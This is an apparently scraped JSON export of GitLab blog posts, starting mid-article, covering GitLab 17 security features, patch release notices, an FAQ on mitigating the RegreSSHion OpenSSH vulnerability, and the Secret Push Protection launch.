that are best at performing their intended function. For example, rather than writing a YAML parser, a developer will use a library that parses YAML. This allows developers to focus on the main goal of their application, rather than spending time on utility functions.\n\nWhile the use of dependencies speeds up efficiency, they can be difficult to manage and could introduce vulnerabilities to your application. For this, GitLab provides [dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), which analyzes dependencies for known vulnerabilities. \n\nMany organizations are using dependencies even when creating native mobile applications. In GitLab 17, we introduced [Android dependency scanning](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#dependency-scanning-support-for-android) to bridge the gap. Android dependency scanning can be easily added as a [CI/CD catalog component](https://gitlab.com/explore/catalog/components/android-dependency-scanning) – just include the following code in your `.gitlab-ci.yml`:\n\n```\ninclude:\n  - component: gitlab.com/components/android-dependency-scanning/component@1.0.0\n    inputs:\n      stage: test\n```\n\nThis job will also generate a CycloneDX software bill of materials ([SBOM](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/)) report, which may be necessary for compliance. Make sure to scan your Android dependencies as soon as possible, as there are many CVEs out there.\n\nWatch this video to learn more:\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/_80z6mZmzek?si=DdB7j4NAenl-UcrJ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n> Learn more SBOMs and dependencies with [our ultimate guide to SBOMs](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/).\n\n## Custom roles and granular security permissions updates\n\nGitLab provides [custom roles](https://docs.gitlab.com/ee/user/custom_roles.html) to allow organizations to create user roles with the precise privileges and permissions to meet their needs. This enables organizations to [implement the principle of least privilege](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/) to adhere to various compliance standards.\n\n![custom roles screenshot](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098874/Blog/Content%20Images/Blog/Content%20Images/1_aHR0cHM6_1750098873857.png)\n\nIn GitLab 17, managing custom roles has become easier than ever. You can now [edit a custom role and its permissions directly from the UI](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#edit-a-custom-role-and-its-permissions), whereas, in the past, the role needed to be recreated. Also, for those using GitLab self-managed, [custom roles are now managed at the instance level](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#manage-custom-roles-at-self-managed-instance-level), allowing administrators to create the roles, and group owners to assign them.\n\nWatch this video to learn more:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/glvvCoc2hkc?si=dl_SwQ7tyVdzirH5\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nThere have also been [several UX improvements](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#ux-improvements-to-custom-roles) added to this feature along with the introduction of the following permissions:\n\n- assign security policy links\n- manage and assign compliance frameworks\n- manage webhooks\n- manage push rules\n- manage merge request settings (17.1)\n- manage integrations (17.1)\n- manage deploy tokens (17.1)\n- read CRM contacts (17.1)\n\nGitLab releases usually include new permissions to further enable the implementation of the principle of least privilege. To learn more about the available granular security permissions, [visit the available custom permission documentation](https://docs.gitlab.com/ee/user/custom_roles/abilities.html).\n\n## Secret detection updates\n\nDevelopers may accidentally commit secrets like keys or API tokens to Git repositories from time to time. After a sensitive value is pushed to a remote repository, anyone with access to the repository can impersonate the authorized user of the secret and cause mayhem. When this occurs the exposed secrets must be revoked and replaced to address this risk, which can cause system downtime.\n\nGitLab provides [secret detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/) to address this risk, and in GitLab 17 it’s gotten even better with the following enhancements:\n\n- [Support for remote rulesets when overriding or disabling rules](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#secret-detection-now-supports-remote-rulesets-when-overriding-or-disabling-rules): - Allows you to override or disable rules via a remote configuration. Therefore, you can scale rule configurations across multiple projects using only one [TOML](https://toml.io/en/) file.\n- [Advanced vulnerability tracking](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#introducing-advanced-vulnerability-tracking-for-secret-detection): Detects when the same secret has moved within a file due to refactoring or unrelated changes. This leads to reduced duplicate findings, simplifying vulnerability management.\n\nIn GitLab 17.1, [secret push protection](https://about.gitlab.com/releases/2024/06/20/gitlab-17-1-released/#secret-push-protection-available-in-beta) is now in Beta. Secret push protection checks the content of each commit pushed to GitLab. If any secrets are detected, the push is blocked and displays information about the commit. Therefore, a developer does not need to do the extra work of removing and rotating secrets, since they are never committed upstream.\n\n![Push block eue to detected secret](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098874/Blog/Content%20Images/Blog/Content%20Images/2_aHR0cHM6_1750098873858.png)\n\nWhen [push protection occurs](https://about.gitlab.com/blog/prevent-secret-leaks-in-source-code-with-gitlab-secret-push-protection/), you can see it displays additional information on the commit, including:\n\n- the commit ID that contains the secret\n- the filename and line number that contains the secret\n- the type of secret\n\n**Note:**  [Enabling secret push protection](https://docs.gitlab.com/ee/user/application_security/secret_detection/secret_push_protection/#enable-secret-push-protection) is as easy as flipping a switch in GitLab Security Configuration.\n\nWatch this video to learn more:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ZNtwXVj3tA8?si=4xJ1rWdThpVjvebv\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Container registry updates\n\nGitLab provides a [built-in container registry](https://docs.gitlab.com/ee/user/packages/container_registry/), making it easy for developers to store and manage container images for each GitLab project without context switching. GitLab 17.1 includes several features to enhance the security and efficiency of using the registry:\n- [Container images linked to signatures](https://about.gitlab.com/releases/2024/06/20/gitlab-17-1-released/#container-images-linked-to-signatures): Container images in the registry can now be signed and associated with the signature. This can reduce image tampering by allowing developers to quickly find and validate the signatures that are associated with a container image\n- [Display the last published date for container images](https://about.gitlab.com/releases/2024/06/20/gitlab-17-1-released/#display-the-last-published-date-for-container-images): The container registry UI has been updated to include accurate `last_published_at timestamps`, putting critical data at the top of view.\n- [Sort container registry tags by publish date](https://about.gitlab.com/releases/2024/06/20/gitlab-17-1-released/#sort-container-registry-tags-by-publish-date): Allows developers to quickly find and validate the most recently published container image.\n\n![Signed container details](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098874/Blog/Content%20Images/Blog/Content%20Images/3_aHR0cHM6_1750098873860.png)\n\nAdditionally we’ve introduced [container scanning for the registry](https://about.gitlab.com/releases/2024/06/20/gitlab-17-1-released/#container-scanning-for-registry). The container images being used in your application may themselves be based on other container images that contain known vulnerabilities. Since developers heavily make use of the built-in container registry, it is a no-brainer to introduce [container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/) for the registry.\n\n[Container scanning for the registry](https://docs.gitlab.com/ee/user/application_security/container_scanning/#container-scanning-for-registry) can be easily enabled by flipping a switch in GitLab Security Configuration. Once it’s enabled, whenever a container image is pushed to the container registry in your project, GitLab checks its tag. If the tag is `latest`, then GitLab creates a new pipeline that scans the image and even produces a CycloneDX SBOM.\n\n**Note:** At the moment, a vulnerability scan is only performed when a new advisory is published. We are working to detract all vulnerabilities in the registry itself in future iterations.\n\nWatch this video to learn more:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Zuk7Axs-CRw?si=odlgT5HWv_KOnBtq\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## API security scanning updates\n\nWhile SAST does a great job of finding vulnerabilities in static source code, there can still be vulnerabilities present in the running application that cannot be detected in source code, such as broken authentication and security misconfigurations. For these reasons, GitLab provides dynamic application security testing ([DAST](https://docs.gitlab.com/ee/user/application_security/dast/)) and [Web API fuzzing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/index.html) to help discover bugs and potential security issues that other QA processes may miss. \n\nIn GitLab 17, we’ve introduced [several enhancements](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#api-security-testing-analyzer-updates) to our [dynamic scanners which target Web APIs](https://docs.gitlab.com/ee/user/application_security/api_security_testing/index.html), including:\n- system environment variables are now passed from the CI runner to the custom Python scripts used for certain advanced scenarios (like request signing)\n- API Security containers now run as a non-root user, which improves flexibility and compliance\n- support for servers that only offer TLSv1.3 ciphers, which enables more customers to adopt API security testing.\n- scanner image upgraded to Alpine 3.19, which addresses security vulnerabilities\n\nIn GitLab 17.1, additional configuration variables were added to [API security scanning](https://about.gitlab.com/releases/2024/06/20/gitlab-17-1-released/#api-security-testing-analyzer-updates) and [API fuzzing](https://about.gitlab.com/releases/2024/06/20/gitlab-17-1-released/#fuzz-testing-analyzer-updates) to allow:\n- creation of a comma-separated list of HTTP success status codes that define whether the job has passed\n- disabling of waiting for the target API to become available before scanning begins\n- specifying the expected status code for the API target availability check\n\nWatch this video to learn more:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/CcyOoBgSPUU?si=hAMQfmUTlLRKhPSg\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Learn more about other enhancements\n\nGitLab 17 and 17.1 also introduced several other security and governance features and enhancements, too many to cover in this blog. Some of these features include:\n\n- [Updated filtering on the Vulnerability Report](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#updated-filtering-on-the-vulnerability-report): You can now use the filtered search component to filter the Vulnerability Report by any combination of status, severity, tool, or activity.\n- [Toggle merge request approval policies to fail open or fail closed](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#toggle-merge-request-approval-policies-to-fail-open-or-fail-closed): A new fail open option for merge request approval policies to offer flexibility to teams who want to ease the transition to policy enforcement as they roll out controls in their organization.\n- [Optional configuration for policy bot comment](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#optional-configuration-for-policy-bot-comment): The security policy bot posts a comment on merge requests when they violate a policy to help users understand when policies are enforced on their project, when evaluation is completed, and if there are any violations blocking an MR, with guidance to resolve them.\n- [Merge request approval policies fail open/closed (policy editor)](https://about.gitlab.com/releases/2024/06/20/gitlab-17-1-released/#merge-request-approval-policies-fail-openclosed-policy-editor): Within the policy editor users can now toggle security policies to fail open or fail closed. This enhancement extends the YAML support to allow for simpler configuration within the policy editor view.\n- [Project owners receive expiring access token notifications](https://about.gitlab.com/releases/2024/06/20/gitlab-17-1-released/#project-owners-receive-expiring-access-token-notifications): Both project owners and maintainers with direct membership now receive email notifications when their project access tokens are close to expiring. This helps keep more people informed about upcoming token expiration.\n\nThese are some of the newest security and compliance enhancements provided in GitLab 17 and 17.1 that can be applied to strengthen your organization's security posture! To learn more about GitLab and the other ways we can strengthen your organization's security throughout all parts of the software development lifecycle, check out the following links:\n\n- [GitLab Security and Compliance](https://about.gitlab.com/solutions/security-compliance/)\n- [GitLab Application Security documentation](https://docs.gitlab.com/ee/user/application_security/)\n- [GitLab security and governance overview video](https://youtu.be/Y4RC-SW8Ric)\n- [GitLab Complete DevSecOps demo](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/simply-vulnerable-notes)\n- [GitLab Complete DevSecOps tutorial](https://gitlab-da.gitlab.io/tutorials/security-and-governance/devsecops/simply-vulnerable-notes/) \n- [Ultimate guide to the principle of least privilege](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/)\n",[14,695,696,479,715],{"slug":1874,"featured":92,"template":677},"get-to-know-the-security-and-governance-updates-in-gitlab-17-17-1","content:en-us:blog:get-to-know-the-security-and-governance-updates-in-gitlab-17-17-1.yml","Get To Know The Security And Governance Updates In Gitlab 17 17 1","en-us/blog/get-to-know-the-security-and-governance-updates-in-gitlab-17-17-1.yml","en-us/blog/get-to-know-the-security-and-governance-updates-in-gitlab-17-17-1",{"_path":1880,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1881,"content":1887,"config":1893,"_id":1896,"_type":16,"title":1897,"_source":17,"_file":1898,"_stem":1899,"_extension":20},"/en-us/blog/gitlab-critical-patch-release-17-1-2-17-0-4-16-11-6",{"title":1882,"description":1883,"ogTitle":1882,"ogDescription":1883,"config":1884,"ogImage":1381,"ogUrl":1885,"ogSiteName":767,"ogType":768,"canonicalUrls":1885,"schema":1886},"GitLab Critical Patch Release: 17.1.2, 17.0.4, 16.11.6","Learn more about GitLab Critical Patch Release: 17.1.2, 17.0.4, 16.11.6 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-critical-patch-release-17-1-2-17-0-4-16-11-6","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Critical Patch Release: 17.1.2, 17.0.4, 16.11.6\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\" Rohit Shambhuni\"}],\n        \"datePublished\": \"2024-07-10\",\n      }",{"title":1882,"description":1883,"authors":1888,"heroImage":1381,"date":1889,"body":1890,"category":14,"tags":1891},[1670],"2024-07-10","This is the [GitLab Critical Patch Release: 17.1.2, 17.0.4, 16.11.6](https://about.gitlab.com/releases/2024/07/10/patch-release-gitlab-17-1-2-released/).",[1292,1892],"patch releases",{"slug":1894,"featured":6,"template":677,"externalUrl":1895},"gitlab-critical-patch-release-17-1-2-17-0-4-16-11-6","https://about.gitlab.com/releases/2024/07/10/patch-release-gitlab-17-1-2-released/","content:en-us:blog:gitlab-critical-patch-release-17-1-2-17-0-4-16-11-6.yml","Gitlab Critical Patch Release 17 1 2 17 0 4 16 11 6","en-us/blog/gitlab-critical-patch-release-17-1-2-17-0-4-16-11-6.yml","en-us/blog/gitlab-critical-patch-release-17-1-2-17-0-4-16-11-6",{"_path":1901,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1902,"content":1907,"config":1913,"_id":1915,"_type":16,"title":1916,"_source":17,"_file":1917,"_stem":1918,"_extension":20},"/en-us/blog/faq-the-regresshion-vulnerability-and-gitlab",{"title":1903,"description":1904,"ogTitle":1903,"ogDescription":1904,"noIndex":6,"ogImage":746,"ogUrl":1905,"ogSiteName":767,"ogType":768,"canonicalUrls":1905,"schema":1906},"FAQ: The RegreSSHion vulnerability and GitLab","Find out what CVE-2024-6387 is, how it impacts GitLab, and what you need to know to mitigate it in your GitLab environment.","https://about.gitlab.com/blog/faq-the-regresshion-vulnerability-and-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"FAQ: The RegreSSHion vulnerability and GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2024-07-09\",\n      }",{"title":1903,"description":1904,"authors":1908,"heroImage":746,"date":1910,"body":1911,"category":14,"tags":1912},[1909],"Mark Loveless","2024-07-09","Here is what you need to know about RegreSSHion (CVE-2024-6387), a recently discovered remote unauthenticated code execution vulnerability, how it impacts GitLab, and how to mitigate the risk in your GitLab environment.\n\n## What is RegreSSHion?\nThe Qualys Threat Research Unit [recently discovered the RegreSShion flaw](https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server), which is a signal handler race condition in OpenSSH’s server (sshd). RegreSSHion allows for an unauthenticated attacker remote code execution (RCE) as root on glibc-based Linux systems and presents a significant security risk. This race condition affects the OpenSSH sshd daemon in its default configuration.\n\n## Does RegreSSHion impact GitLab customers?\n\n1. GitLab.com and GitLab Dedicated are not impacted by RegreSSHion because they use [gitlab-sshd](https://docs.gitlab.com/ee/administration/operations/gitlab_sshd.html), which is not vulnerable to RegreSSHion. Gitaly uses [gitaly-ssh](https://gitlab.com/gitlab-org/gitaly/tree/master/cmd/gitaly-ssh#how-gitaly-ssh-does-it), which is not vulnerable to RegreSSHion.\n\n2. Self-managed GitLab customers might require patches to their environments.\n\t- If your self-managed GitLab instance is cloud-based and the cloud provider maintains the underlying operating system, your environment is safe because all of the major Linux platforms have upgraded their libraries.\n\t- If you are responsible for maintaining the core operating system for your self-managed instance and you have installed the latest patches, your environment should be safe.\n\t- Self-managed instances can be configured to use `gitlab-sshd`, which is not vulnerable.\n\nIf your GitLab instance is not open to the public, you have substantially reduced levels of risk.\n\n**Note:** If you develop and manage your own Docker containers, you are encouraged to apply patches to them as well.\n\n## What can you do to mitigate RegreSSHion?\n\nUnpatched environments have a low risk of impact from RegreSSHion due to the nature of the flaw and the general chaos of traffic flow on the internet. Most attackers wanting access to systems would likely choose an easier path, such as phishing. To protect your environment we advise you to follow the [GitLab Hardening Recommendations](https://docs.gitlab.com/ee/security/hardening.html). We recommend the basics of regular patching, strong passwords, and implementing multi-factor authentication on all your systems, including your GitLab instance.\n\n## What is GitLab doing to monitor RegreSSHion?\n\nAs the most likely attack scenario involves an attacker making rapid, repeated attempts over a long time (days), normal monitoring and defenses against denial-of-service attacks are already actively monitored and defended against. Logs are monitored and reviewed for various types of anomalies, and this particular attack would be detected if attempted. And, as noted above, GitLab.com and GitLab Dedicated are using `gitlab-sshd`, which is not vulnerable. \n\n## How else can you harden your environment against RegreSSHion and similar vulnerabilities?\n\nIf you want to take further steps to help ensure you’ve reduced the risk as much as possible, here are a few general guidelines for handling mitigations of your GitLab environment:\n\n- If for some reason you cannot upgrade the underlying operating system, use [`gitlab-sshd`](https://docs.gitlab.com/ee/administration/operations/gitlab_sshd.html) as it is easy to configure. OpenSSH is written in the C programming language, which has historically allowed for the introduction of memory errors. Note that `gitlab-sshd` is written in Go, which is generally considered a “memory safe” language.\n\n- Follow the guidelines in the [GitLab Hardening Recommendations](https://docs.gitlab.com/ee/security/hardening.html). For example, setting the `/etc/ssh/ssh_config` values specified in these recommendations could cause the exploit code to fail. Typical exploit code might have problems dealing with a specific hash-based method authentication code (HMAC) value or algorithm specified. Additionally, some of the recommended `/etc/sysctl.conf` settings will also increase exploitation difficulty. This could substantially increase the number of attempts needed.\n\n- In some recommendations regarding mitigating RegreSSHion, there have been references to setting the `LoginGraceTime` to 0 in the `/etc/ssh/sshd_config` file. This will result in your system not being vulnerable to RegreSSHion, however, it will now be vulnerable to a denial-of-service attack. If unspecified, the `LoginGraceTime` defaults to 120 seconds. It is considered best practice to set the `LoginGraceTime`this to 60 seconds, and this effectively doubles the time required for a successful RegreSSHion attack. **Note:**`gitlab-sshd` defaults to 60 seconds.\n\n## What is the potential result of the RegreSSHion vulnerability?\n\nThe attack was developed and tested in Qualys’ lab environment, which is not reflective of a normal internet-accessible environment. If the attack works, it can be devastating. However, even in this controlled environment Qualys could only get an attack to be successful once every 10,000 attempts on older CPUs in a process that took hours. On modern CPUs this could take a week or more in a pristine lab environment. On the open internet with regular traffic and the potential for even further delays, the chances for a successful attack are substantially reduced. In other words, it could be very bad if it works (an attacker executing commands of their choice remotely), but the odds of it working in a real-world environment are extremely remote.\n",[14],{"slug":1914,"featured":92,"template":677},"faq-the-regresshion-vulnerability-and-gitlab","content:en-us:blog:faq-the-regresshion-vulnerability-and-gitlab.yml","Faq The Regresshion Vulnerability And Gitlab","en-us/blog/faq-the-regresshion-vulnerability-and-gitlab.yml","en-us/blog/faq-the-regresshion-vulnerability-and-gitlab",{"_path":1920,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1921,"content":1927,"config":1932,"_id":1935,"_type":16,"title":1936,"_source":17,"_file":1937,"_stem":1938,"_extension":20},"/en-us/blog/gitlab-critical-patch-release-17-1-1-17-0-3-16-11-5",{"title":1922,"description":1923,"ogTitle":1922,"ogDescription":1923,"config":1924,"ogImage":1381,"ogUrl":1925,"ogSiteName":767,"ogType":768,"canonicalUrls":1925,"schema":1926},"GitLab Critical Patch Release: 17.1.1, 17.0.3, 16.11.5","Learn more about GitLab Critical Patch Release: 17.1.1, 17.0.3, 16.11.5 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-critical-patch-release-17-1-1-17-0-3-16-11-5","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Critical Patch Release: 17.1.1, 17.0.3, 16.11.5\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nikhil George\"}],\n        \"datePublished\": \"2024-06-26\",\n      }",{"title":1922,"description":1923,"authors":1928,"heroImage":1381,"date":1929,"body":1930,"category":14,"tags":1931},[1569],"2024-06-26","This is the post for [GitLab Critical Patch Release: 17.1.1, 17.0.3, 16.11.5](https://about.gitlab.com/releases/2024/06/26/patch-release-gitlab-17-1-1-released/).",[1292,14],{"slug":1933,"featured":6,"template":677,"externalUrl":1934},"gitlab-critical-patch-release-17-1-1-17-0-3-16-11-5","https://about.gitlab.com/releases/2024/06/26/patch-release-gitlab-17-1-1-released/","content:en-us:blog:gitlab-critical-patch-release-17-1-1-17-0-3-16-11-5.yml","Gitlab Critical Patch Release 17 1 1 17 0 3 16 11 5","en-us/blog/gitlab-critical-patch-release-17-1-1-17-0-3-16-11-5.yml","en-us/blog/gitlab-critical-patch-release-17-1-1-17-0-3-16-11-5",{"_path":1940,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1941,"content":1947,"config":1955,"_id":1957,"_type":16,"title":1958,"_source":17,"_file":1959,"_stem":1960,"_extension":20},"/en-us/blog/prevent-secret-leaks-in-source-code-with-gitlab-secret-push-protection",{"title":1942,"description":1943,"ogTitle":1942,"ogDescription":1943,"noIndex":6,"ogImage":1944,"ogUrl":1945,"ogSiteName":767,"ogType":768,"canonicalUrls":1945,"schema":1946},"Prevent secret leaks in source code with GitLab Secret Push Protection","Learn how Secret Push Protection, now generally available, adds to a defense-in-depth detection strategy and decreases the resources needed to remediate secret leaks.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097761/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%286%29_6vL96ttKF8zJLLqfPpvFs_1750097761137.png","https://about.gitlab.com/blog/prevent-secret-leaks-in-source-code-with-gitlab-secret-push-protection","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Prevent secret leaks in source code with GitLab Secret Push Protection\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amar Patel\"},{\"@type\":\"Person\",\"name\":\"Sara Meadzinger\"}],\n        \"datePublished\": \"2024-06-24\",\n      }",{"title":1942,"description":1943,"authors":1948,"heroImage":1944,"date":1951,"body":1952,"category":14,"tags":1953,"updatedDate":1954},[1949,1950],"Amar Patel","Sara Meadzinger","2024-06-24","Secret Push Protection is now generally available for all GitLab Ultimate and GitLab Dedicated customers. [Secret Push Protection](https://docs.gitlab.com/ee/user/application_security/secret_detection/secret_push_protection/) blocks secrets such as keys and API tokens from being pushed to GitLab. The content of each commit is checked for [high-confidence secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/detected_secrets.html) when pushed to GitLab. If any high-confidence secrets are detected, the push is blocked. By protecting secrets from leaking in the first place, your team can greatly reduce risk and reduce time spent on rotating secrets.\n\n## The risk of leaked secrets\n\nSecrets, such as tokens and API keys, are frequently used by applications to authenticate and provide access to sensitive data. Developers sometimes inadvertently hardcode these secrets, and then push that code into source management systems, like GitLab. Hardcoded secrets stored in plain text are a low-effort, high-value target for malicious actors, as numerous recent high-profile breaches have demonstrated. Secrets do not require any special skills to exploit and many secrets do not automatically expire. Therefore, once a malicious actor has access to a secret, they can continue using it indefinitely to cause data breaches, service disruptions, IP theft, source code theft, and software supply chain compromises. Both [Verizon’s annual Data Breach Investigations Report](https://www.verizon.com/business/resources/reports/dbir) and [IBM’s annual Cost of a Data Breach report](https://www.ibm.com/reports/data-breach) have repeatedly reported that compromised credentials, which include secrets, are one of the most frequent and expensive source of breaches. \n\nIBM’s research also indicates that taking a DevSecOps, or shift-left, approach is the most effective way to reduce the average cost of a data breach. Until now, GitLab’s primary secret detection method has been [Pipeline Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/), which scans committed files after they have been pushed to GitLab and identifies secrets that are already leaked. Once a secret has leaked, it should be considered compromised and must be rotated according to the steps outlined by the secret issuer. Remediating detected secrets requires security teams and developers to work closely together to follow the steps outlined by a secret issuer to rotate the leaked secret. It can be a tedious, confusing, and risky process. Utilizing GitLab’s Secret Push Protection feature, you can shift secret detection further left, protect your secrets from leaking in the first place, and reduce the amount of time and energy required to remediate leaks.\n\n## How Secret Push Protection works\nOnce [Secret Push Protection](https://docs.gitlab.com/ee/user/application_security/secret_detection/secret_push_protection/) is enabled on a project, developers are blocked from pushing code to projects that contain any high-confidence secrets. This ensures a performant experience when pushing your code and also results in a lower number of false alerts. **Note:** Here is the [list of high-confidence patterns Secret Push Protection supports](https://docs.gitlab.com/ee/user/application_security/secret_detection/secret_push_protection/detected_secrets.html). \n\nWhile we are checking the contents of each commit, we've [excluded](https://docs.gitlab.com/ee/user/application_security/secret_detection/secret_push_protection/#coverage) a number of factors in order to optimize the performance of this workflow. Because of this, we recommend using Secret Push Protection in a layered approach alongside [Pipeline Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline). Using both features in tandem maximizes coverage to identify more leaked secrets across the software development lifecycle.\n\n# Get started with Secret Push Protection\n\nWe've put a video playlist together to help you get started on using this feature:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/videoseries?si=kRG65YbljQ-Nu2wa&list=PL05JrBw4t0KoADm-g2vxfyR0m6QLphTv-\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Enable Secret Push Protection\n\nOn GitLab Dedicated and Self-managed, you must allow the use of Secret Push Protection in your instance and then enable it per project. On GitLab.com, you only need to enable it per project.\n\nYou must have at least the Maintainer role to enable push protection for the project.\n\n1. On the left sidebar, select **Search** or **Go to** and find your project.\n1. On the left sidebar, select **Secure > Security configuration**.\n1. Turn on the Secret Push Protection toggle.\n\n![secret push protection - toggle](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097769/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2024-10-18_at_12.24.47_PM_aHR0cHM6_1750097769198.png)\n\n## Skip push protection\n\nIn some instances, when a push is blocked, you might find it necessary to skip Secret Push Protection. For example, a developer may need to commit a placeholder secret for testing. You can skip Secret Push Protection via a Git option or commit message, meeting developers in whichever Git client they are using. \n\n## Add exclusions\n\nWe released exclusions, giving you flexibility to exclude certain paths, rules from the default ruleset, or raw values from being scanned, detected, and blocked by push protection. From the Security Configuration page, Maintainers and project Owners can manage push protection exclusion lists within the UI on a per-project basis. \n\n![secret push protection - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097769/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097769199.png)\n\n## Audit events\n\nDisabling Secret Push Protection, or even skipping it altogether, can prove to be costly if not done for the appropriate reasons. We've introduced [audit events](https://docs.gitlab.com/ee/user/compliance/audit_events.html) to help administrators and security teams understand where and how this feature is being used, and to assist in any secrets-related investigations.\n\nWe currently log audit events when Secret Push Protection is: \n\n- enabled/disabled at an instance level\n- enabled/disabled at project level\n- skipped via a push option\n- skipped via a commit message \n\nAnd when an exclusion is:\n- created\n- updated\n- deleted \n\n![secret push protection - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097769/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097769200.png)\n\nThese audit events can be used in conjunction with [audit event streaming](https://docs.gitlab.com/ee/administration/audit_event_streaming/) to manage audit logs in third-party systems (like SIEMs), enabling customers to capture trends such as: how many times push protection is being skipped; which projects frequently bypass push protection; and which secrets are commonly skipped and may need to be excluded moving forward. \n\n# Dogfooding Secret Push Protection\n\nWe [dogfood everything](https://about.gitlab.com/handbook/engineering/development/principles/#dogfooding) here at GitLab. We've [collaborated](https://gitlab.com/groups/gitlab-org/-/epics/13523) with various teams across the organization to enable this feature across key projects, including our primary GitLab codebase. This process has enabled us to identify and address improvements early in the development process, and it has increased our confidence in the stability, performance, and customer workflows for the release of this feature.\n\n# What's next\n\nYou can help us improve this feature by commenting on [this Secret Push Protection feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/467408). We’ll incorporate your feedback and make [additional improvements](https://gitlab.com/groups/gitlab-org/-/epics/13107) as we continue to add new capabilities to the feature.\n\n> Learn more about the [Secret Push Protection](https://docs.gitlab.com/ee/user/application_security/secret_detection/secret_push_protection/).\n\n# Read more\n\n- [How Secret Detection can proactively revoke leaked credentials](https://about.gitlab.com/blog/how-secret-detection-can-proactively-revoke-leaked-credentials) \n- [How to implement secret management best practices with GitLab](https://about.gitlab.com/the-source/security/how-to-implement-secret-management-best-practices-with-gitlab/)\n- [GitLab native secrets manager to give software supply chain security a boost](https://about.gitlab.com/blog/gitlab-native-secrets-manager-to-give-software-supply-chain-security-a-boost)",[14,696,715,479,695],"2024-10-17",{"slug":1956,"featured":6,"template":677},"prevent-secret-leaks-in-source-code-with-gitlab-secret-push-protection","content:en-us:blog:prevent-secret-leaks-in-source-code-with-gitlab-secret-push-protection.yml","Prevent Secret Leaks In Source Code With Gitlab Secret Push 